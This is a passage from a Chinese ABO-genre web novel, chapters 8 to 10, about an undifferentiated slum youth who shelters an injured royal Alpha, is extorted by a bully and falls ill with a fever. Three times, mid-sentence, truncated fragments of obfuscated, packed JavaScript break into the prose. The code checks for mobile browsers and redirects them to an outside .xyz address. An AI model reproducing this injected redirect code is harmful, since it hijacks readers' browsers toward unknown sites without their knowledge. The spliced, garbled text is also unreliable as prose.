可他又庆幸,江意衡不用看到他现在这副狼狈的表情。 明明半个钟头前才刚泡过澡,换了干净衣服,身上却又沾满了灰泥。 可比起这些,被撞破谎言的事情,才最让他难堪。 简星沉拖着空荡荡的泡澡桶回了屋,又给自己接了凉水,打湿毛巾,一点点擦拭脸上的痕迹,始终没出声。 江意衡靠在床头,膝上垫着一本书,手里握着他的黑色水笔,在纸上写着什么。 简星沉好不容易才鼓起勇气,想为了刚才的事情向她表示感激。 江意衡却先问他:“之前为什么要跟我说,你是Beta?” 少年坐在他往日里擦澡用的小板凳上,身旁是一盆没有丝毫热汽的凉水。 水波摇晃,而他倒映在其中的侧脸也随之摇晃。 他不回答,江意衡又问:“是因为你觉得没分化很丢脸,才假装自己是Beta?” 简星沉没有否认,也没承认,指尖却在衣角上缓缓攥住。 “我的姥姥是Beta,我认识的人几乎都是Beta。我只是,不想引人注意而已。” 常人在十八岁成年以前就会完成分化,拥有自己的腺体和信息素。 而他经历整个青春期,活到十九岁,却迟迟没有一丝分化的迹象。 除了遭人厌弃、排斥,他并不知道,不能分化的人,到底在社会上处于什么境地。 就连江意衡自己,如果不是在十五岁时,刚好分化成令父亲满意的顶级Alpha,恐怕这王储的位置,还说不准呢。 她比任何人都清楚分化的重要性。 而少年,偏偏是一个不能分化的人。 别说他只是个攒学费的穷小子,就算他有点积蓄,相貌和头脑堪比帝国顶流,也注定会在这个国度寸步难行。 没人会接纳先天不足的异类,上流社会不会对他敞开大门,底层人士同样会瞧不起他。 他连正常生活都会很困难,更遑论什么理想和抱负。 空气静默了许久,简星沉终于忍不住,小心翼翼问道:“是不是因为我说谎的事情,惹你不高兴了?” “我为什么要不高兴。” 江意衡笑着看他,笑意却不达眼底,“说到底,我也不过是个因为受伤,暂时借住在这里的人而已。你是不是Beta,与我又有什么关系。” 她几乎觉得,自己是在安慰他了。 然而简星沉听着,只觉得分外难受。 一脸新伤叠着旧伤,衬得他脸色煞白。 江意衡挪开目光:“你大可不必放在心上。你的这些秘密,我不会告诉任何人。” 她顺手折起膝上的纸张,塞进一个旧信封里,神色如常地递给他。 “反正,我很快就会走。” 8. 第 8 章 简星沉垂下视线。 信封是旧的,他总会把收到的信封揭掉邮票,重复使用。 而现在,他的指腹在信封上摩挲,还能摸出一点残余的胶痕,微微发腻。 “你要走?” “我的家人在找我。” 江意衡抬指点在信封上,“帮我把信寄出去,我想给他们报个平安。” 简星沉捧着信,没再说话。 从一开始他就很清楚,江意衡不会久留。 可当她提及这个话题,他仍是克制不住地感到失落。 贫民窟地广人稀,邮政网点稀少,最近的信箱距离此地有二十多里,来回一次要大半天。 投递信箱通常设置在固定的布告栏旁,每个工作日上午由邮差统一取件,而今天的取信时间已经过了。 他征得江意衡的同意,明早再去。 眼下,少年坐在小板凳上,沾湿的头发扫过额前,神情掩在发丝的阴影里。 大约还在为白天被羞辱的事情感到低落。 江意衡偏开目光,心不在焉地环视四周。 她在这住得简陋,吃得也勉强,但这屋子毕竟庇护过她三天两夜。 而屋子的主人,到现在都没有向她索取任何东西。 她不喜欢欠人情。 于情于理,她都该给他一点好处。 “之前我问你,有没有想要的东西,你说等我伤好。那现在,你有答案了吗?” 简星沉一怔,没想到她还记着。 他抬头看她,迟疑着重复:“我想要的?” 江意衡缓缓眨眼,近乎鼓励道:“只要在我的能力范围内,什么都可以。毕竟,是你救了我。” 她说,他救了她。 简星沉下意识地咀嚼着她的话。 他当然知道,自己分出残破的四壁为她遮风挡雨,用笨拙的手法为她清理血污、包扎伤口。 但他心里清楚,她能迅速恢复,并不是他的原因。 他也曾被利器划开皮肉,伤口深可见骨。 即便不在头部,也足足花了大半个月,才勉强愈合。 而她,只用了两天。 他算不得江意衡的救命恩人。 充其量,只是让她在这里停留了两天。 简星沉摇着头,婉拒了她的好意。 这反而让江意衡感到奇怪。 怎么会有人费心费力照顾一个陌生人,却不求回报? 他应该是很需要钱的人。 “你不是想回去上学吗?” 简星沉抱来脏衣服,泡进水盆里:“我可以申请补助。” 他确实试过这条路,却因为未分化,排在最低优先级,错失每一次机会。 有人背着他幸灾乐祸,说他该申请的不是助学金,而是残疾人补贴。 可他明明有手有脚。 他只不过,没能长出别人都有的腺体。 江意衡并不知道这些事情。 她只是叹了口气。 少年这时候提起申请补助,无疑是在谢绝她的好意。 不过,给不给补偿是她的事,她并不在乎他怎么想。 “等你想到了,再告诉我。”她没再继续这个话题。 少年垂下视线,继续安静地搓着衣服。 从刚才起,他就一直低着头。 发丝轻曳时,脸上的新伤时隐时现,有点碍眼。 “还有,记得上药。” 简星沉闻声顿住动作。 两只在水里泡皱的手,几乎淹没在不断漫出的肥皂泡沫里。 他抬眸望她,久久没有挪开视线。 江意衡已经靠回床头,打开膝上的书。 那根曾经戴在姥姥头上的木簪,如今被她盘在脑后,挽出大方简洁的低髻。 她垂眸翻阅书页时,额角有碎发垂落,柔和了原本英气的轮廓。 在昏黄灯光的映照下,暖得像一幅画。 一个模糊的念头,在简星沉的脑海里逐渐变得清晰。 他恍惚片刻,却又觉得,自己的念想未免太过不切实际。 第二天早上出门送信前,简星沉特意在床边驻留了一会。 用于帮助江意衡入眠的星星灯早已熄灭,而她合着双眸,两手交叠在侧,处于安睡之中。 简星沉留下字条,说明余下那袋营养液在哪里,才刚放到她枕边,就看到枕下露出的营养液包装。 已经瘪了。 也不知道她是什么时候找出来喝掉的。 他莫名欣慰,又自嘲地想,自己果然多虑了。 * 天光尚浅。 简星沉迎着朝霞骑了二十里路,准备投递信件。 可远远地,他却在清晨七点的信箱边,望见几个陌生人。 无不是戴着墨镜,穿着长款黑色风衣,腰间别着金色徽章,还绑着枪套。 地上铺满了零散信件,两个黑衣人正戴着手套翻找,还手持仪器,逐一扫过信封。 他们的头儿单独伫在布告栏前,正托着下巴端详各种告示,同时一手点在耳边,嘴巴微微开合,也不知在与谁说话。 简星沉握紧了车把。 他本能地觉得,这些黑衣人一大早出现在信箱旁,并不希望他这样的路人现身搅合。 可他已经骑到近处,突然掉头只会更可疑,索性推着三轮车,装作路过。 他旋即被人喊住:“谁?来干什么?” “我出来捡垃圾,顺路看看,有没有人贴告示收破烂……” 话音未落,只见黑衣人头目一晃手指,两个手下顷刻间冲上来,将少年的三轮车拦住。 不等他同意,就直接掀开车厢上的盖布。 一车瓶瓶罐罐东倒西歪地躺着,被塑料绳子串在一起,其中一个掉了下来,落单似的在车厢里滚了两下。 他们皱着眉,露出失望的表情。 那个头目却盯着他看了几秒,才别开视线,摆手示意:“你可以走了。” 简星沉心怀忐忑地蹬着三轮车离开,但骑得很慢,还不时回头张望。 黑衣人头目正从怀里掏出一张相片,递给身边人查看,指尖还在照片上点了点,似乎在交代任务。 常年从垃圾堆里挑拣物资,帮助简星沉练就了一双敏锐的眼。 他看得清楚,照片上的人不是别人,正是江意衡。 不祥的预感从心底腾起。 他们是冲着江意衡来的? 如果他们知道江意衡在哪儿,她……会有危险吗? 简星沉把信死死掖在口袋里,用力蹬起踏板。 他怕被尾随,不敢直接回家,只好故意绕远,甚至不惜从坑洼不平的草地上一路颠簸过去。 偏偏路上下了雨,地面泥泞湿滑。 他浑身湿透,废了九牛二虎之力赶回家时,唯一的房门却大开着。 江意衡不在屋里。 简星沉跳下车,险些一脚滑倒在潮湿泥地里,旋即扶着膝盖四处张望,寻找江意衡的踪影。 大雨淋湿他的头发,干扰他的视野。 他在乱石和矮墙之间辗转了一圈,才绕到屋子背面。 雨声嘈杂中,一把泛黄的油纸伞却安然撑起,近乎随意地斜在一个人的肩头。 简星沉蓦地收住脚步,闷湿的空气几乎令他呼吸不畅。 他以为不见的人,正穿着一身原本属于他的衣服,从晾衣绳上收下她来时穿的裙子。 没有外人,没有危险。 只有江意衡,像他离开前一样平静、从容。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790839|174944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 简星沉几乎就要冲上前,拉住她的袖子告诉她,自己刚才有多担心,有多害怕。 可他才迈出半步,眼角余光就扫到身上的泥点,不禁开始后悔,自己为什么没多拿一件外套,罩住这副窘迫模样。 “你怎么在这?” 江意衡已经转过身来,扬起的伞沿下露出她茫然的表情,“你摔倒了?” 少年侧脸贴着湿透的头发,裤腿上溅满泥,狼狈异常。 他在雨中注视着她却不发声的样子,更是奇怪。 江意衡把裙子往臂弯上拢了拢,“你没收过衣服吗?” 她指着身后那件T恤,“既然来了,把自己的衣服收走。” 可他只是伫在她面前,任凭雨水洗礼过他的全身。 像只落水狗。 江意衡沉着眉。 “我一个人养伤就够了。你要是也生病,就没人照顾我了。” 经过他时,她斜过纸伞,顺手塞到他手里,目光没有在他脸上停留。 回到屋里,江意衡耐心拧去发梢上的水分。 “刚才怎么回事,你像见鬼似的。” 少年低头擦着头发的动作一顿。 “我遇到几个奇怪的黑衣人,身上配枪,手里还拿着你的照片。” 他握紧手指,笃定道,“他们,不像好人。” 江意衡微微凝眸,恍然大悟地“噢”了一声。 “那些人腰上,是不是有个徽章,上面是交叉的剑,还有翅膀一样的装饰?” “好像,是有。” 简星沉仔细回忆着细节,却惊异于她描述的如此具体,“可你怎么会……” “那是帝国公职人员的一种徽章。他们也不是坏人,不过是在找人罢了。” 江意衡早知王室会派近卫队找她,但没想到,他们的速度比她预料中更快,“戴着那样的徽章,言行受帝国监管,怎么可能胡作非为。” 少年仍是半信半疑,目光游移不定。 江意衡微微抿唇,随口开玩笑:“不过也不排除,他们是受我的仇家所托,收下巨额佣金,冒充公职人员来找我算账的。” 她轻嗤:“如果被这些人找到,我就麻烦了。” 本以为自己的玩笑开得明显,足够让简星沉从紧张中放松一下。 可他的手指扣住湿衣,眸光战栗,似乎真的吓坏了。 “你是不是惹上什么事了?” 他知道江意衡不是寻常之辈,可万一,她真的做了什么坏事呢?他还能相信她吗? 没得到江意衡的回答,他心中更是后怕,不由咬着唇,脸色煞白:“你不会是,那种被通缉的逃犯吧?” “逃犯?” 江意衡仿佛听到什么笑话,正色看他,“你认真的?” 少年缩着肩膀,好半晌,才艰难点头。 他怕得要命却又竭力忍耐的样子,让江意衡发自内心觉得荒唐。 “我活了二十多年,什么称呼都听过。这还是我第一次听到,有人指着我叫逃犯。” 少年只是任凭水珠滑落发梢,滴落在地。 可他愈是强装镇定,她便愈是按捺不住。 “不过,我也觉得自己确实罪大恶极。” 她斜过唇角,用一种无可救药的语气感慨,“你让我住在这里,和我扯上关系,这辈子算是完了。” 少年缓缓把手收回身侧握紧,肩膀仍在发抖,语气却近乎反常地渐渐平定。 “你的事,我不会说出去。” 江意衡眨着眼,神情顿了一拍。 “无论你是什么样的人,是罪人,还是恶徒,我都不会说出去的。” 他好像用尽全部力气,声音渐低,望着她的目光却不再动摇。 “我愿意,包庇你。” 9. 第 9 章 江意衡听得很清楚,少年说他愿意包庇她。 如果是在宴席上,或是其他社交场合,她或许会把这当成是一种调侃,或者安慰。 可这句话从少年口中说出,却带上某种宣誓意味。 此刻,他的指尖紧紧扣在手心,连指关节都在发颤,眼里的光芒却异常坚定。 “你为什么突然这样。” 江意衡扶着额,微微头痛,“因为你,我的笑话都不好笑了。” 她没再给他继续说话的机会,直接切过话题。 “那封信,你寄出去了没?” 少年眼里的光芒黯了下去。 他就着衬衣擦干手上的水,从兜里掏出信封,赶忙解释:“他们当时在翻信,我怕他们拿走你的信,会对你不利。” 江意衡接过信,对光打量,信上的字早就晕成一团又一团,看不清了。 “算了,也不差这一两天。回头我重写一封。” 信件的内容并不重要,信封上的收件地址才是关键。 只要这封信进入邮政网络,近卫队就一定能收到她的信号。 既然他们已经前来F区寻找她的下落,那她过不了几天,就能离开这里了。 唯一令她费解的,是少年今天的表现。 就好像,他是真的愿意为了她这么一个萍水相逢的人,而与帝国最精锐的部队为敌。 至于么? * 入夜之后,屋里亮起昏黄的灯。 吃饭时,江意衡低头发现,衣服肘部破了一个洞。 她扯了扯那块松开的布料,脸上掠过无奈,很快又恢复如常,抱起水杯啜饮。 简星沉默不作声地从箱子里翻出两件长袖衫,小心翼翼捧到她面前:“你身上这件衣服蛀了。要不,换一件吧?” 江意衡抬眼扫过,唇角微僵。 左边这件,领口紧得好像能勒死人。 右边这件,袖子长得能拿来跳舞。 相比之下,她身上这件好歹还算体面。 “不用了。”江意衡不以为然,“我也就穿这几天。” 简星沉提着两件被拒绝的衣服,没吭声。 新的一天来临,他照常出门捡废品,又拐去集市换了把新梳子,和其他日用品。 今天,做服装生意的张念春又进了一批货。 一张巨大的蓝色塑料布上,整齐摆着几十种不同款式的衣服。 简星沉特意停下看了一会。 他知道江意衡不喜欢什么样的,却不知道江意衡喜欢什么样的。 挑了半天,始终拿不定主意。 张念春嫌他磨蹭:“小简,你看了这么久,到底买不买呀?” “买,我买。” 简星沉扣起指尖,又小声问,“我要是买两件,能打折吗?” 简星沉算是张念春的熟客,他的衣服不是姥姥留给他的,就是从她这买的。 瞧着少年脸上窘迫的表情,张念春叹了口气:“行了行了,丧着脸干什么呀。给你凑个三件五十,下不为例。” 简星沉点头道好。 他递去几张皱巴巴的纸币和一把硬币,接过装在红色塑料袋里的新衣,别提有多高兴。 张念春瞅着他,不禁奇怪:“不是我说你,你买女人的衣服做什么?” 简星沉摸着脑袋,笑得腼腆:“家里,有人能穿。” 张念春啧了啧嘴,掏出两块柿饼用纸包给他:“天冷了,别饿着自己。看你瘦的。” 简星沉激动地鞠躬:“谢谢张婶!” 一到家,他就把两袋营养液端上桌,还搭上两块柿饼。 江意衡拈着柿子圆滚滚的萼片,微微皱眉:“这个是不是霉了,怎么有一层白色的东西。” “不是发霉。” 简星沉正转过身拿新衣服,“那是柿子本身的糖霜,甜的。” 江意衡拨了两下,对这种奇怪又陌生的食物没什么兴趣。 她翻开手上的课本,上面简略介绍了不同气候下农产品的种植倾向。 而在行间和页边空白处,却密密麻麻写满了笔记,字迹娟秀,每一笔都很认真。 这几天,她只要有心情就会翻简星沉的课本,看他的笔记和标注。 比她平日里审阅的官方报告可有趣多了。 江意衡看得津津有味,就听到塑料袋的窸窣声。 简星沉捧出三件新衣,一件挂在左臂,一件挂在右臂,还有一件按在胸前,刚好能垂挂展开。 “我趁打折买了几件衣服,都是新的,料子更好,也没蛀洞。你看,有没有合适的?” “你自己看就行了,问我做什么。”江意衡头都没抬。 少年顿了一下,声音很轻:“我买的,是女装。” 江意衡的指尖在书页上一顿。 她抬起头,视线正对上他竭力展示的三件女式上衣。 审美实在不敢让人恭维,还没他自己的上衣看着顺眼。 本想说他多此一举,可看他不厌其烦地伸手扯平衣服褶皱,还小心拈去上面的塑料袋碎屑,不知为什么,她就没把拒绝说出口。 “让我看看。” 江意衡伸手摸了摸衣服料子,平心而论,是比她身上这件软。 但这一点优势,还不足以说服她在大冷天换衣服。 “你帮我试试。” 她撂下课本,盘腿坐在床上,饶有兴致地指着中间的白色圆领开衫,“这件。” 简星沉愣着表情,好像没听懂她的意思。 江意衡耐着性子解释:“你个头也不小,人又瘦,当我的衣服模特,比我自己一件件试要省心。” 少年眨着眼“噢”了一声,顺从接受。 他解开新衣纽扣,就要往身上套。 “等等。” 江意衡拦住他,“有你这样的模特吗?穿着一件毛衣,去试另一件?” 少年点着头更轻地“噢”了一声,转身脱掉身上的土灰色毛衣,露出下面那件泛黄发脆的浅色背心。 两条比他手腕宽的肩带松松贴着他的肩胛骨,脖颈下淌出大片冷白皮肤。 他弓着背,肩膀向内,整个人好像那只在水里煮熟的鸽子,身体紧缩。 江意衡毫不回避,大大方方盯着他的后背看。 少年应是察觉到了她的视线,他回头拿新衣的时候,目光躲闪,却没注意到背心随着动作从身上微微松开,冷白之中有嫣红一晃而过。 他把两条修长的胳膊塞进宽大的开衫袖子里,指尖急着从下往上扣扣子。 第一次正身让她检查时,有一个扣子扣错了孔,惹得江意衡笑出声来。 开衫毕竟是估着江意衡的身形买的,套在他瘦削的身板上略显晃荡,有一侧却因为静电吸附在身上,勾出他纤细的腰。 简星沉只好揪着衣角,努力让衣服看着板正一点。 “不用扯了。” 江意衡捋了捋他的袖子,把他的手从袖子褶皱里拯救出来:“你可能不知道,这种宽松随性的式样,在有些地方可是潮流。” “潮流?” 简星沉不明白,为什么会有人想穿得松松垮垮的,如果他姥姥看到,一定会觉得不精神。 他小声反驳:“衣服太松会影响我捡东西,影响我做事的。” 江意衡反手在他的衣角上掸了掸:“穿那种潮流服装的人,不需要像你这样捡东西。” 少年似懂非懂:“那他们,会花钱雇人捡东西吗?” 江意衡哑然。 中心区的上层阶级从出生起就只需要会花钱,不需要会赚钱。 他们当然不用捡垃圾,更不需要雇人捡垃圾。 她从鼻子里轻轻呼了口气,指着余下两件新衣:“换一件吧。” 简星沉低头看着身上,面色尴尬:“这件不好吗?” 江意衡只是微笑:“你试完再说。” 少年乖乖照做,先后换上另两件。 可她看着,却并没有更满意。 “还是退回去吧。” 江意衡掐着太阳穴,“这些钱,不如留着买点吃的。” “退回去?”简星沉愣愣道。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790840|174944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >贫民窟的交易向来钱货两讫,除非是刚买的三轮车还没走两步就掉了轮子,否则几乎没有任何退换余地。 “你留着,我也不会穿。”江意衡表明态度。 “可这些打了折,老板不让退的。”简星沉努力说得委婉。 江意衡抬眼打量他。 平心而论,他是个不错的衣架子,虽然头发略微野蛮生长,但胜在瘦高,皮肤又白,巴掌大的脸上鼻梁高挺,一双眼睛乌黑湿润。 即便是贫民窟里的地摊货,都能让他穿得别有一番风味。 如果在A区,他完全可以凭借这种条件兼职当模特,那可比他去种花要吃香得多。 江意衡弯起唇角:“你穿这些衣服挺好看的,不如,你留着吧。” 少年害羞地摸着手肘:“真的吗?” 江意衡微扬下巴:“你不信我的眼光?” “我信。”少年神情骤舒,由衷开心。 “既然如此,”江意衡旋即敛笑,“以后,别再做这些事了。过好你自己的日子,就很好了。” 这话,俨然一记冰冷的巴掌。 少年方才有多欣喜,现在就有多茫然。 江意衡正色:“你知道我在说什么。” 她看不上这些新衣,这笔开支对他而言,完全是额外负担。 等到夜里熄了灯,简星沉借着星星灯的微光,拿着江意衡褪下的毛衣,坐在角落里缝补肘部的破洞。 他一直在回想先前江意衡说的话,一不留神指尖刺痛。 垂眸看时,才发现被针尖扎出了一颗血珠。 简星沉对着指尖轻吮,还好伤口不明显,就没刻意处理。 直到他把衣服补完,放回江意衡的枕边。 月落日升,他骑车出门,重新帮江意衡投递信件。 离开信箱回到三轮车边,简星沉还没摸到车把手,布告栏后,却冷不防冒出三道身影。 为首的是石彪,身后还跟着两个面熟的小混混。 “这不是小垃圾吗?” 石彪一见他,就露出幸灾乐祸的表情,“老子运气不错,随便转转都能逮着你。” 简星沉转身就跑。 石彪三两步冲过来,一手揪住他的外套:“老子要是现在揍你,你家那个女人,不会放着不管吧?” 他还不忘回头对跟班解释:“这小子最近藏了个人,不晓得什么来头,一点都不懂贫民窟的规矩。” 简星沉又是踢腿又是挥胳膊:“你们少乱来,我,我警告你们!” 石彪乐了:“瞧瞧,他可真是一条忠心耿耿的好狗啊!” 简星沉急得脸上蹿红,拼命扭动身体,试图挣脱。 石彪一眼瞥见少年外套下的女式开衫,嘴角一抽,表情更加鄙夷。 “老子没看错吧,这是女人的衣服?你这什么鬼爱好?” 简星沉用力在地上圾拉脚步,想再靠近三轮车一点。 只要能蹬上踏板,他就能翻身上车,借机脱困。 推搡间,少年身形一晃,眼疾手快从地上抄起一根厚实的塑料水管,想也没想,就照着石彪的脑袋劈。 石彪面不改色地喊住他:“你知道廉租房的规矩是什么,对吧?” 简星沉高高举着水管,没劈下去。 石彪斜眼瞅着头顶上的水管,啧了一声:“那个女人一看就不是本地人,你让她借住这么多天,房管知道吗?” 他着重道:“要是老子给房管捎个信,你猜,你那屋还能住人吗?” 不可以。 简星沉一瞬间感到绝望。 江意衡是他救下的人,是他的客人。 他要庇护她,至少,要撑到她安全离开。 如果没了这处遮风挡雨的地方,江意衡该怎么办? 他又该怎么办? 石彪确信自己掐中少年软肋,得意地舔过后槽牙:“她不知道,对吧?” 简星沉呼吸一滞:“你,什么意思?” 石彪盯着他,嘴角挂着嘲讽的笑:“别装了,就你那点心思,还真以为能瞒得住啊?” 10. 第 10 章 “你想怎么样?”简星沉咬着牙,握紧拳头。 “上次她害老子摔断一颗牙,老子想怎么样?你赔老子的牙!” 石彪把他揪到面前,龇开嘴,露出缺牙的位置,“我要求也不高,就想要季老板那种铜牙。限期,三个月。” “三个月凑满一颗铜牙的钱?” 简星沉瞪着他,“这不可能!” 石彪忽然一推,少年猝不及防跌坐在地。 “谁叫你这条狗没哄好主人?这是你该操心的事,关老子屁事!” 他蹲下,手指捏得咯吱作响,“你要是做不到,别说你那破屋子,就你这口牙,我也能一颗颗掰了!” 骑车回家的一路上,简星沉心事重重。 云从头顶晃过,在路面上投下斑驳的影。 让江意衡撞见他被霸凌,已经很丢脸了。 他不想让她再因为他跟别人起冲突,也不想在她走前再惹任何麻烦。 简星沉打开房门时,江意衡就坐在床边。 她朝他抬起手臂,指尖在他补过的肘部摸了摸:“缝得还不错。” 那是一颗幼苗的图案,补在米白的布料上,单是看着,就让她心情好。 可一抬头,江意衡却看到少年一脸沉郁。 他迟钝了好几秒,才点着头,轻轻“噢”了一声。 散乱的碎发由他脸颊拂过,江意衡察觉,他的下巴上被掐出了一道新伤。 “又碰上混混了?” 简星沉别过脸,不肯说。 江意衡伸手捏住他的下巴,两指一拨,轻轻掠过他的伤口。 他微微蹙眉,却还是装出安好模样:“没事的,他们吃过亏,不会像之前那么过分了。” 他们? 江意衡明明记得,上次只有石彪一个人。 她不拆穿他,只是轻笑:“你不会明天又突然顶着一身伤回来吧?” 简星沉缩起肩膀。 他也觉得自己的话,说得很没底气。 “你总被人打,这不行。” 江意衡挽起袖子,“我要是不在,你连自己都保护不了。” 简星沉捏着袖子,一张脸几乎垂到阴影里。 “算你运气好,能遇到我。” 江意衡拍了拍他的肩,“我可以教你。” “教我什么?” 少年茫然抬头,目光停在她扬起的唇角上。 没等他回神,江意衡已经从他面前消失。 下一秒,她的一条手臂绕过他身前,锁住他的脖子,另一条手臂压住他的肩,手掌按住他的后脑,轻而易举将他制服。 “这叫拿颈。” 简星沉两眼发黑:“你怎么,还偷袭。” “你一点防范意识都没有。真在外面,你早趴下了。” “我只是……没准备好。” “谁会等你准备好才动手?” 江意衡侧过脸打量他,忽然觉得,这个姿势看起来,像是把少年按在怀里。 而他脸上泛红,鼻翼翕张,呼吸明显不畅。 她完全没意识到,自己与他靠得有多近。 说话时声音甚至带动他的身体共振,让他觉得腰上有点麻,又有点痒。 她撤开手的瞬间,少年俨然劫后余生,撑着膝盖大口喘气。 “刚才算我擒住你。” 江意衡朝后退去,“现在我来躲闪,你抢先手。” 她在墙根三尺前站稳,等到少年重新直起腰来。 他甚至像模像样地握紧拳头,向着空气挥了挥。 “开始!” 发令声响,简星沉不甘示弱,一头冲上去,却被她躲开。 一连三次,他连她的影子都摸不着,便撞上墙去。 第四次,江意衡没有闪开。 简星沉试图拦腰制住她,她却猝不及防矮下身形,一脚上前卡在他的两脚之间,双手绕过他的膝盖,将他的双腿带离地面。 咚地一声,简星沉仰面摔倒在地,眼冒金星。 江意衡俯身望着他:“你又输了。” 简星沉却局促到了极点。 他的腿被抬起,而她站在他的双腿之间,好整以暇端详着他的模样,让他本能地感到羞耻。 呼吸与心跳愈发急促,奇怪的热意从脸颊一路烧到脖子。 “你明明说,要教我躲闪的。” “兵不厌诈的道理,你没在课上学过?” 江意衡轻皱鼻子,“对手可不会按照规矩出牌。” 简星沉嚅着泛干的唇:“我,我只是相信你。” 江意衡撇嘴轻笑:“你就是心太软,才总被人欺负。” 简星沉咽下辩解。 视线里的人笑容晏晏,周身笼着温暖的光,一缕发丝调皮地从她额边垂下,在他的眼前晃啊晃。 原来,她会心一笑的时候,是这个样子。 琥珀色的眸子本应是温和的,看着人的时候却直勾勾的。 他被掀翻在地,对这样的目光无从抵抗。 只觉得,心跳得好快。 江意衡伸手拉他起来,而他低头拍去身上的灰,没敢抬起烧红的脸。 * 过了一晚,训练带来的酸痛不但没减轻,反而更严重了。 简星沉撑起疲惫的身体,找了个借口搪塞江意衡,说他要赶在入冬前多囤些废品,这几天会在外面逗留更久。 江意衡没问什么,他便安心骑着三轮车,前往更偏远的一处垃圾回收场。 这片地带堆满废旧电子仪器,拆下的金属部件能换钱。 如果运气好,碰上还能运转的仪器,甚至能在黑市上赚到他半个月的所得。 只是因为毒素泄露的风险,寻常拾荒者根本不敢来。 但简星沉没得选。 为了尽早打发石彪,他只能冒险。 他一连翻了几个角落,总算找出一台还在运转的设备。 巴掌大小,做工精细,刻着陌生标识。 虽然蒙着灰,但绿色指示灯仍亮着。 他为仪器擦拭灰尘时,它甚至会发出感应反馈的轻响,并透过小孔投出密密麻麻的数值。 简星沉低下头,想看清那些数值是什么。 就在此时,指示灯由绿转红,冷雾喷了他一脸。 想起那些关于生化污染的传言,简星沉心下骤冷。 他慌忙抬袖擦脸,却猝不及防撞上废品堆,一下子摔倒在地。 匆忙中,他抓起几样东西一股脑塞进蛇皮袋,然后心如擂鼓地踉跄逃离。 晚上吃饭时,简星沉隐隐觉得恶心,也不知是因为紧张,还是因为劳累的缘故。 明明穿得比平时还多,却忍不住发冷。 他提早两小时躺下,寄望于一觉睡醒,不适感就会消退。 第二天一早,简星沉提着蛇皮袋准备出门,却忽然感到天旋地转。 再回过神,他已经躺在地上。 江意衡正弯下腰,一只手搭在他的额头。 印象中她的手掌温暖,如今却冷得让他发抖。 “你发烧了。” 江意衡问他,“退烧药在哪儿?” 简星沉指向角落里的铁盒。 江意衡喂他服了药,还给他敷上冷毛巾。 他皱着眉,小声说冷。 “冷也得敷。” 江意衡强硬地把冷毛巾又往下按了按。 少年昨天捡回的废品里,有台仪器正在一闪一闪。 江意衡拿起来看了看,上面刻着帝国科研 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790841|174944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部门的标志,以及某种实验项目的编号。 它的式样老旧,早已淘汰。 但江意衡认出,这是信息素浓度检测仪。 如果空气中的信息素浓度高,它就会释放稀释的安抚剂喷雾,帮助Alpha和Omega缓解特殊时期的症状。 此时,仪器感应到她的存在,显示出她周身信息素的浓度。 略高于检测值下限,这还要归功于半个月前的那针抑制剂。 仪器上投出的光学小字密集又晦涩。 她只勉强辨认出,仪器几小时前曾释放过一次安抚剂,刚好是少年在外活动的时候。 为了确认,江意衡来到屋外空旷处,用一根细针手动触发按钮。 一股冷雾对着空气喷出,旋即在风中散去。 果然还有余量。 可就算仪器年久失修,意外释放出安抚剂,简星沉也不该因此发烧。 除非,他对这种安抚剂的配方过敏。 加上最近天冷,他又早出晚归,还被小混混霸凌…… 身体反应过激,也能说得通。 江意衡叹了口气。 他再能忍,也并非无坚不摧。 少年已经烧得说不出完整的话,却还嚷嚷着,要出门捡垃圾。 明明服过退烧药,体温却迟迟不降。 江意衡帮他换毛巾时,隐约闻到一丝甜腻气味。 转过身,她把桌上那两块柿饼丢了出去。 然而这气味挥之不去,愈发鲜明。 江意衡狐疑地扫过墙边那堆废旧仪器。 是它们在捣乱? 她一股脑把那些东西扔到屋外,又回到少年身边,重新探他的体温。 指尖才刚点到他的额头,简星沉却缓缓摇头,还把她的指尖甩开,拼命弓起身子,往被子里藏。 “你别过来。我,我怕传染给你。” 江意衡再次闻到那种甜腻的气味。 如果不是天冷,简星沉又生了病,她真想把门敞开透气。 少年从早卧床到晚,一直提不起精神,勉强还能起身喝水。 她守着也做不了什么,刚提议看医生,却被他拒绝了。 “再过一天,过一天……就好了。” 简星沉嗫嚅着,语气却出奇地坚定。 江意衡懒得辩驳。 没人比他更了解他的身体,她犯不着因为这事和病人较劲。 她翻着他的课本打发时间,却没注意到少年何时起了身。 直到哐地一声,屋里传来东西落地的巨响。 保温瓶躺在地上,热水洒了一地。 少年倒在一旁,袖子还有被水溅到的痕迹。 他一手捂住自己的后颈,嘴里轻声念着:“疼。” “怎么疼?”江意衡扣住指尖,俯身问他。 “像刀割一样,疼。”他泛白的唇动了动。 江意衡挪开他的手,触碰他的后颈,却像被烫到一样,本能地缩回手。 持续的高烧,颈后的高热。 加上空气里,若有若无的甜香…… 